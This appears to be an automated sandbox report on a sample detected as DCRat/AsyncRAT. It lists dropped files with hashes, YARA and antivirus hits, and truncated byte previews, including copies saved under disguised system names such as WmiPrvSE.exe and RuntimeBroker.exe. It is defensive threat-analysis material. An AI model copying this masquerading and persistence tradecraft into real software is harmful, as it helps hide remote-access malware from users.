SSDEEP:	12288:IqnOvrM40FWBGCnO9Ke6/jGEn1E7idK9IbrDDiokL05t4:I+OvrM40FgDRlrGwSO4S7DP
MD5:	222EDC84E2D32948F2639554B23E7B04
SHA1:	22CEDF83A69B08259DB3C2F3618DF067DD7C7522
SHA-256:	55AB1B21734F31815058FA1E2841E8B62E6E4F04E635A4B51EBEA3FDE646E920
SHA-512:	95DD51CF8BE6461955B867B853D58EAB7BF6AC363E9F99F5C8C8F13046DAA373ED845DB3531E9F765515E43F8955955EC4EA83F19807A2B3C04F2C1F6A0C6855
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, Author: Joe Security Rule: MALWARE_Win_DCRat, Description: DCRat payload, Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....L9a..........".................~.... ... ....@.. .......................`............@.................................(...S.... ..H....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...H.... ......................@..@.reloc.......@......................@..B................`.......H.......P.......................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\e7d19d53a5ec77aafa68c9a929149b118506bb42

Download File

Process:	C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe
File Type:	ASCII text, with very long lines (986), with no line terminators
Category:	dropped
Size (bytes):	986
Entropy (8bit):	5.906779991524349
Encrypted:	false
SSDEEP:	24:JixpGULbOcU+yJmxrBp8mQch00iCajyVJUDxZ+G66:MTGULCc1yoNvIjCdkgG66
MD5:	FD9DDE45A48F496F17501FA2DB1CB01E
SHA1:	29413808B260EC6B417CF44883D36FAFA4E43D50
SHA-256:	A726C980560B07D22FAD7DF425D1A631F377F27D2AC00DC10D68075891C2ADCC
SHA-512:	FF4268DAAF39B4288D2F0D8EFF6D06CB2A4FD5EDAB5A9DAA247209B2BA86CAC506BDB9ED0B4807877D87ECCBF2FD57A83285859ABDEA9CE500429B2E4F03B4DF
Malicious:	false
Preview:	HfKuCcBxBWV4M38b0mfxuznS8u5d5O3lkEt2zzejgKO9UMF8e5Q4gzOS12wSgi1xduTHJFlAI5Qklo7vo78978Fv0aA6DMC8Sbfk38yYTPvkinrM4Aojj2zeohRtEp663SSKIX2pJkpsNfMMtyBDidYZmB5VrFToTyqQVhDhI8a9MHRJUE9Qn3Ya32hHcg8DQBYYy60Mue5jCZMetvBmFCAZaQXc95ElAWsLs2VYNxgJ7yXeqCYqeV8OA87hiYMyaTjqrBw0ZmZRf1cl33w6hXGoXdKt4xzzkssoPqwoQhQ26qsJgWoplQQCM4SN0D5mxjrxIxVMGHqAGOsrvBMiJKOUcqbUXjyMloEX95AtAbjdkP58Mlby1XcnUWUbWBzgSdYbJUr0AdhskuuMucHvIAVOMbCnkjW9lCKG0dy24lxYztCjmIr34DYSIKPrSEQbGiGiknVQoP1gM6YdZcAc1dFio28pOGj0VWSQme99waOoM1FLwwSzDyjmdi3rppBhpAL0oH05cBpbOaVwww3cytwhwpxEkRTGYr9LqPgo5WWCIIYDMH52wjt5OoE9UwVLrjChbKGhPOgbWtYnQt1cWbUz7D7BKhUJBLVjF1lCBYmhCSiePask53zPONjYMEWs4WaLYziZIyb7yxwpecwuyuOIWFU2RNz7B4mp1XGa2TcGb1bba43uSl3KISySeqI48e63KGxGVV2fSHqfo2bXUFoZBchjjy5MLiI74iRTGxZ6tX2AmSomOuk3zg1rjOhgaqUt9skFlHQgpsqnkh6QKT7a7PIYqku1Q3fDDIA4siAHeDOGzOGBRQWHs4wtjLZBWYQvMnkcgCilS054BBicdsj9gYUJVQUgI9uFxc3MnnfPsuy281sin7hnyQOySbGPsCcSF0HjHWy0NURwjbKeiw3LcGQgNF4LgPgqRgxIuJaQJqae8cP0Rmr6IR08jkVCbmT8yleDoCtYVmBvqwhuzD44hk

C:\ProgramData\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	586240
Entropy (8bit):	5.885921147077287
Encrypted:	false
SSDEEP:	12288:IqnOvrM40FWBGCnO9Ke6/jGEn1E7idK9IbrDDiokL05t4:I+OvrM40FgDRlrGwSO4S7DP
MD5:	222EDC84E2D32948F2639554B23E7B04
SHA1:	22CEDF83A69B08259DB3C2F3618DF067DD7C7522
SHA-256:	55AB1B21734F31815058FA1E2841E8B62E6E4F04E635A4B51EBEA3FDE646E920
SHA-512:	95DD51CF8BE6461955B867B853D58EAB7BF6AC363E9F99F5C8C8F13046DAA373ED845DB3531E9F765515E43F8955955EC4EA83F19807A2B3C04F2C1F6A0C6855
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....L9a..........".................~.... ... ....@.. .......................`............@.................................(...S.... ..H....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...H.... ......................@..@.reloc.......@......................@..B................`.......H.......P.......................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_UNFOT5F1qt.exe_ddd5a359bec083eb107768e4877ccc21165f677_cc66c665_ceb690cb-b08c-4efe-b12a-db7df9fee6b4\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0259638126222996
Encrypted:	false
SSDEEP:	192:eHlSnS0BU/Ha5aW9d4/zuiF5Z24IO8a5Y:qSZBU/6aZ/zuiF5Y4IO8cY
MD5:	021AF993098007A2C9ADD1779B397D71
SHA1:	C9289C906ACE22955A544559FF76886686822331
SHA-256:	13D504F8FFC91983744ED11B193DEAE5FB48228046325C2F10A3AE853CD9F7DD
SHA-512:	BB11C69A0F330897CCDD36EE4B96F123FEE70DD067355D24178ACD76EE504DCB98761FBA59CAC525C37C1D65CF3BDB3A1B6E3D87FA9A3455007C40590CAE3B70
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.7.1.5.0.1.2.0.8.0.9.1.9.4.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.7.1.5.0.1.2.2.5.1.2.3.1.9.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.e.b.6.9.0.c.b.-.b.0.8.c.-.4.e.f.e.-.b.1.2.a.-.d.b.7.d.f.9.f.e.e.6.b.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.8.b.a.e.a.1.3.-.8.1.8.0.-.4.4.4.5.-.b.1.1.4.-.1.b.a.f.3.d.e.e.3.9.4.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.U.N.F.O.T.5.F.1.q.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.7.d.0.-.0.0.0.1.-.0.0.1.4.-.d.c.8.f.-.d.e.b.9.7.8.4.0.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.f.6.4.3.7.e.0.e.b.2.5.a.1.3.d.5.9.0.6.0.1.c.e.f.6.1.8.1.0.1.6.b.0.0.0.0.0.0.0.0.!.0.0.0.0.1.4.5.1.1.9.e.6.4.9.c.a.b.c.6.c.6.0.2.0.0.6.4.3.b.3.c.c.3.4.7.f.c.4.b.1.6.4.c.c.!.U.N.F.O.T.5.F.1.q.t...e.x.e.....T.a.r.g.e.t.A.p.p.V.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2082.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Nov 27 03:02:01 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	250518
Entropy (8bit):	3.730273535896813
Encrypted:	false
SSDEEP:	1536:ialHDEiCfCDpLTg+XGAjAHZZ0NNm5IdtTCleSVXanaeuMPRuBojRapN4uE2aO59U:BljEirpLTgsyo+y7meyl/iHc4uEq59
MD5:	B67B6BA2F08C0ACBF8980DF3683A1DB2
SHA1:	C7CCA85F49E89AEE3049E1E2592C8323BF797AA4
SHA-256:	A4CCAE82E2AA98E7ED3799759515A4ECFD17781622E34A8CAA42442C924DC7B2
SHA-512:	3B8028F2D709689688F2255DBBB3C4DE44451E6130C3AC31923CA8DAD8162DFE8C00B4D093010E3CE4719421A16FAAF57931FB010C9E802AA32A09915A825284
Malicious:	false
Preview:	MDMP..a..... .........Fg........................`...(.......$...........D&..NJ..........`.......8...........T............-...........................!..............................................................................eJ......0"......GenuineIntel............T.............Fg.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER244C.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8410
Entropy (8bit):	3.696675188708636
Encrypted:	false
SSDEEP:	192:R6l7wVeJap6iQTE6YcDX5SU9HDgmfZ49prO89bwPsfcQm:R6lXJk6/w6YA5SU9HDgmfCHw0fq
MD5:	1272107A50D27D7CC3298C94592C29F9
SHA1:	B3884FC0E586A2D7BBDBF0CB2060CD636893FA90
SHA-256:	ED2359A27780346505EC4ABD6886F1B2BD610CA19ED99708D715B96BB3D37F48
SHA-512:	53762E31E460BEB9856B99FDF6650D9D8782E573143588F81B6C9C03273E06CA0A0420E159E0F91B327331FA3CDB717B0B03CD525CC828359905D3533116125C
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.0.0.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER24CA.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4704
Entropy (8bit):	4.479592116753323
Encrypted:	false
SSDEEP:	48:cvIwWl8zs5Jg77aI9mViWWpW8VYzYm8M4J/S1FQ+q8viS7H7gQLPbVd:uIjfLI7qy7VbJbKRLPbVd
MD5:	CB7BBCCF75208BB1907D150754E8A0C7
SHA1:	36942B33990AF2B76664320E3DB368220535EEB0
SHA-256:	E969492E9F84E747D7997E01F5FD81F5A63A3C8B7EBEFAA548D5AC920208CC71
SHA-512:	1B48AE134AB607A08B6DA4CB9B9108E0DF92090EC8A64935E11EAE1F3AA572EF49E53CD3D7F0E302D56C4D1DB2AB45061A9D0033003F6A1A5916426730A8F56C
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="605884" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\e7d19d53a5ec77aafa68c9a929149b118506bb42

Download File

Process:	C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe
File Type:	ASCII text, with very long lines (441), with no line terminators
Category:	dropped
Size (bytes):	441
Entropy (8bit):	5.856029485929199
Encrypted:	false
SSDEEP:	12:456TzsmrOMx+Fq0t3ZkVNn1dA4imBcwauMBKEat:fTzsRMx+FDt3Zs1OCBcFpBKEm
MD5:	885CFBC22BD7E6F39CE8B60B81E33615
SHA1:	39D19D70DF7D03BE4BC71605B663E88EE16F153F
SHA-256:	D9366373A90C8CFAD02E350A2784B5A5395F36A22D3896EFED388864DDE64F20
SHA-512:	111C09339515681AE7D58F82BC399DEE3366F484F9A9DF72DBDBBEBD96EC8A84BBB9A70D7583356E63F37B6657B0EA492DCEEC171D77DA0A6ACE87E67D81B64F
Malicious:	false
Preview:	e8Wnq3AEl300YHma6cgviVEBsNxyaTSmCyVWHfbU6qv1wh8hAXakhU2I3V4cGLnSkOxkwQTbALy2kNOLOPxD3rEr6Mcwk8OuDcQitXvuE8jVf9hqGsN0XkZ3KGojyh0C7EyH6qc1dD84IsL6pwp2uXWdDXXmtM5gIhYbLZuZPWXUlfub4r4C27RjrVEiSzHRHcvkUtvPBPmYAC1hm6sBS3oKPyu0VLHZPGMIuKGK6pAmV3iodg5WHF8OxkUf9430IMJ40txczhFn3CzWQGWyPvSJH8UJzlLBvKdJtoyutdgkAVVvv8P2iFkX49x2YnnOVD2siqmlSmEwOsJwnjY1WSdpjGPt15WG0SO7dmNEVnk5AyIL0APzOw2CjMJcb3uWQ866dMTAVTfssipv7D30qg1EZLXQcunc2OpB2MsorOd4QJUBhXfX94ptH

C:\Recovery\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	586240
Entropy (8bit):	5.885921147077287
Encrypted:	false
SSDEEP:	12288:IqnOvrM40FWBGCnO9Ke6/jGEn1E7idK9IbrDDiokL05t4:I+OvrM40FgDRlrGwSO4S7DP
MD5:	222EDC84E2D32948F2639554B23E7B04
SHA1:	22CEDF83A69B08259DB3C2F3618DF067DD7C7522
SHA-256:	55AB1B21734F31815058FA1E2841E8B62E6E4F04E635A4B51EBEA3FDE646E920
SHA-512:	95DD51CF8BE6461955B867B853D58EAB7BF6AC363E9F99F5C8C8F13046DAA373ED845DB3531E9F765515E43F8955955EC4EA83F19807A2B3C04F2C1F6A0C6855
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....L9a..........".................~.... ... ....@.. .......................`............@.................................(...S.... ..H....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...H.... ......................@..@.reloc.......@......................@..B................`.......H.......P.......................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Recovery\e7d19d53a5ec77aafa68c9a929149b118506bb42

Download File

Process:	C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe
File Type:	ASCII text, with very long lines (945), with no line terminators
Category:	dropped
Size (bytes):	945
Entropy (8bit):	5.9082459955312805
Encrypted:	false
SSDEEP:	24:/KgW80tTNPHj876p7zuQ/cMfRrMkE4vfmo51zzK:yp3Txfb/ci/1FzK
MD5:	A83169300CBDD0B3555FE4FD11D995CB
SHA1:	3423D80E77B3D0C0A31E0FE2714C16891A7572D7
SHA-256:	2D6B3B84CED8DECA4A60E2845D23AC54C5FED2F7CCB0F9402A57B917B2CEBCC7
SHA-512:	4189791E0BA999F782F0AD338C860E7FAD195C92F0D83ECAB46C92E9FC255EF1C91C63DB0A868743265CA53F2AA3B6FC4541D6DF283C27E06C58025E789CA66A
Malicious:	false
Preview:	CboL2rc8hJoxiqMpCrAXHkxdUjP8tDQfgUKkMbYcKjMkXPuiJSF6YfzcnK0TbdPe2IQOgmdlSiNhXNGFzrza7UHAes6BkFAqTsrO8fChzeozSREaEvduozgiBPuyqbANhgNpf1GToRldqRrMnf7ylQCeMJNtvO1XdaSwEZ5MpJFWND2thhKKeLlQdtdVoXiaaN9P95IOjuJbLpQIReLNEq3SzBSV6jhRlo6AEmtmZ5ktBJFycUEKLVWuUqZ7nxS9M10gtQEoujyIFJQp5e2lfXFPSLqXMw8lmkgJTjEMPaZmhOoKauBJ4qezwkNhjrb8kMfemGWWZqWF7dsEhf6cuzq5GrXsVhmh8bCUsJhUYptOUZ1S2JADv8NufkY5snA1EyGgaXWX8mEFFclq0E0Mgiw9OSyHumluo1JgTU2exmFI4HoD9sFnxyVgBGRIjOmWAUaNSEXfMVY4cnFGnvICg760gneMDu5jAtHjrau4UjbcZaDXALexFjzDYjqpjLccaz4tgfZMAOs7gdbFjHL2PHda4ELHtFUJH8CjgU1fvSw012g4IkFc9kNSVezbUSc53izhb1jPPqG6UniCiR8IA1KhvtOCfaKdz16TC8cQBzNTdQ7s5x2CTU5CYSvrnguzfmHdqO9jysHKo1DfwfGshIKf645uNumfFYx0IeCrxTNkMvYhOQ5IaBRXcmhvTPWEFmEPDMWSdZ4N4jSKgXf6zeFEGaYg6QXi7JfkrIdB3mpAGDd2TWO5tZOkhAJny0VMBWQuErdY4eDMzE7C7fMkBcyh54Dq90MDRc9uxsym20BPWBvcCGpTnvKjhszJnwZDRA5WEMPOqkrLajL3Jlo2K3ZgSaME3o8Gb87VGYXz0bmDD9I7g5ACIg2YkYEoALVBlltcmzxuNyCtQVcTROh8o675FjvrTtzpGkccPpVqIPzUeJHO6

C:\Users\Default\24dbde2999530ef5fd907494bc374d663924116c

Download File

Process:	C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe
File Type:	ASCII text, with very long lines (599), with no line terminators
Category:	dropped
Size (bytes):	599
Entropy (8bit):	5.8663418053295455
Encrypted:	false
SSDEEP:	12:UEVUMZcmYSXVrNqJyNIk/kmB5fMrs5SHIFm7yBIR9y3ygSzVfp3/LTwKf:fDZSSX5NDpB5fMjHIFPBTafDf
MD5:	206FBBB5412B69EEB5A6B5737B6681DB
SHA1:	5EA4D3E029221FEE41D9064BC86E59726AAB0757
SHA-256:	7F7639C0ABFC6EE11BC48427CCC2264AE44D629E30E880770E2F43CF5214402C
SHA-512:	A58D211BA31A3D455396D463204B8CAD4A846AB149D464395D40A0DD55C6D27A6B126F0419B644B921650216C583A5764914F6218FD79E547776B5CFA93C3ACD
Malicious:	false
Preview:	pDzd2n3uUOJcD6xQ1VtEPPc8j54Apazoq2PMT0I4euDuvMqLEQacTdVZk147s3F3ZewKrk6ANykfMrNWPt5ZAWUNhzlc6KLlpJVQafddUZPe20N3nis87q2CJjn29dECm9zCW65tPcFlH0UqlsyXcNo8QSH11le0UN23AKgrm8telR5TO7QQprjZV1wDzE2o8PR47bqbMHvedJX9Xxm4VOKnnciJYc1iGEgWABVxQzDi6F5LdwqCb7TuEoQf2hCtPMYYmB9WbznfKmrhgWplvzHIvwRVu04twUStrgjcxUklUxkc6t8g1a8aFQn0tnll43szU709xNybOfx8MzZB1X2VW1na3ssKs8qaFuH929tomgLkcoo3OkugBWdcTZFEensPyX3brZI1oNtzqD8PEz5HOKZsQppc3oK8y5vFvMMyb22xnowQb0AoskBo8KLCuq8ADuBuR3d1nHpWRlEm3ZADofQN4HHkBKDv42u3nB8iXIBk5pWWGjIVp4VhdxzKw20cD4bZ0L81bcqfdpSPvuebBsF9gMZzLxveRigAN7g4kQ4NOzExfkZCYZbVzc3nvJpnrLO4JRBxOk1ux1uqImT

C:\Users\Default\WmiPrvSE.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	586240
Entropy (8bit):	5.885921147077287
Encrypted:	false
SSDEEP:	12288:IqnOvrM40FWBGCnO9Ke6/jGEn1E7idK9IbrDDiokL05t4:I+OvrM40FgDRlrGwSO4S7DP
MD5:	222EDC84E2D32948F2639554B23E7B04
SHA1:	22CEDF83A69B08259DB3C2F3618DF067DD7C7522
SHA-256:	55AB1B21734F31815058FA1E2841E8B62E6E4F04E635A4B51EBEA3FDE646E920
SHA-512:	95DD51CF8BE6461955B867B853D58EAB7BF6AC363E9F99F5C8C8F13046DAA373ED845DB3531E9F765515E43F8955955EC4EA83F19807A2B3C04F2C1F6A0C6855
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\Default\WmiPrvSE.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\Default\WmiPrvSE.exe, Author: Joe Security Rule: MALWARE_Win_DCRat, Description: DCRat payload, Source: C:\Users\Default\WmiPrvSE.exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\Default\WmiPrvSE.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....L9a..........".................~.... ... ....@.. .......................`............@.................................(...S.... ..H....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...H.... ......................@..@.reloc.......@......................@..B................`.......H.......P.......................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\Public\Pictures\9e8d7a4ca61bd92aff00cc37a7a4d62a2cac998d

Download File

Process:	C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe
File Type:	ASCII text, with very long lines (832), with no line terminators
Category:	dropped
Size (bytes):	832
Entropy (8bit):	5.90414159728306
Encrypted:	false
SSDEEP:	24:puA5/JuFm5CmnvSt/0dZGo858mO8AFSrl16:pNfXzStuZM8NNSL6
MD5:	CA9F7BC8FB57A485AF431841F0545A68
SHA1:	469EDFC1351B4EC84171F09FD3700A1C959D244F
SHA-256:	36DBB8582C0CDF0BDA446D00E59F74BFCE4A339531AA02961F539B4851A9729E
SHA-512:	AC0B32D43F7358B3527880A78BAED6E9E68790B91C9E0CC7D01B6DE68969AB96C53AC59EC21718B8B491867FE708921FFC8910B9545003BE19A291618A14835A
Malicious:	false
Preview:	p3NWdBMPafOn4JUaoaCBoPtWU2xIJmIPXnO9KCIeiJbaB39wXOWtuxKaJ1ClNDGxW8PR5UQlSidfyTUa2Av4QZfkcy0TAhReDnDCns1C8uaMUplzglsMSLh7dpzGe7lvR8bKQRwKJs6f8TPwMAwZyEL1GFj83uhBJp4VNbjPyiDjPB9JaC4eKM6MxkDKryRYL5WTY4jvbgkQAlmFGai00D07srinXYhAQpYUpqvgcIDnlqML88ERQahHEYkqV5YC9j9VMSZapCXsAMVBfWpYTQt0HQPQFEKhuAoBr18qiomOCzH2DjL8Q9ss0JO5CJVk1079hTUoX9zpnfxRJXNg3LQuR5LimDnZTBWL1IUtPgkRKDFUV6wo6yrpkNsmHvBUVaWlIlZADdRWl8kO01NqQ9deUqloasldfQ6tqdLthvlchUEmnevQiVEW72RcAukV1x1VB0hXpdJeYA6Am8B66V5KLkwyMtswKPludtkx6YlELj876RzBtoYg2rJbDtL5uXTIYLg2YN9it08mmz243rCg1E2vkJtNMpUyPziuu7nfp0wCtgyN1QCDUxRTTvRPevVEgJXwRHK6Dg0AS0CEUgW6nQdbiOa9pXB3esfjJC6tFG9y6QBdsN47ZZaPp5OCqLQqe7gjUd4Sjm0hQpeSN7QccEeFRP3Nx4D4zTT9tbJPSmYwi39Aa5yt4yNadbSEjqepj6r7VfiwyBJ0qshXQ3x1FU9BG3gSIEplIsMlMBo5XC42oXuu34yp3mjP6p1c9PntVhs7f5LOP1eDZHXtJvYOQAsfJ6ogKM6HYKgHowP8sjaCIf0zSITN1YdVzMyi

C:\Users\Public\Pictures\RuntimeBroker.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	586240
Entropy (8bit):	5.885921147077287
Encrypted:	false
SSDEEP:	12288:IqnOvrM40FWBGCnO9Ke6/jGEn1E7idK9IbrDDiokL05t4:I+OvrM40FgDRlrGwSO4S7DP
MD5:	222EDC84E2D32948F2639554B23E7B04
SHA1:	22CEDF83A69B08259DB3C2F3618DF067DD7C7522
SHA-256:	55AB1B21734F31815058FA1E2841E8B62E6E4F04E635A4B51EBEA3FDE646E920
SHA-512:	95DD51CF8BE6461955B867B853D58EAB7BF6AC363E9F99F5C8C8F13046DAA373ED845DB3531E9F765515E43F8955955EC4EA83F19807A2B3C04F2C1F6A0C6855
Malicious:	true
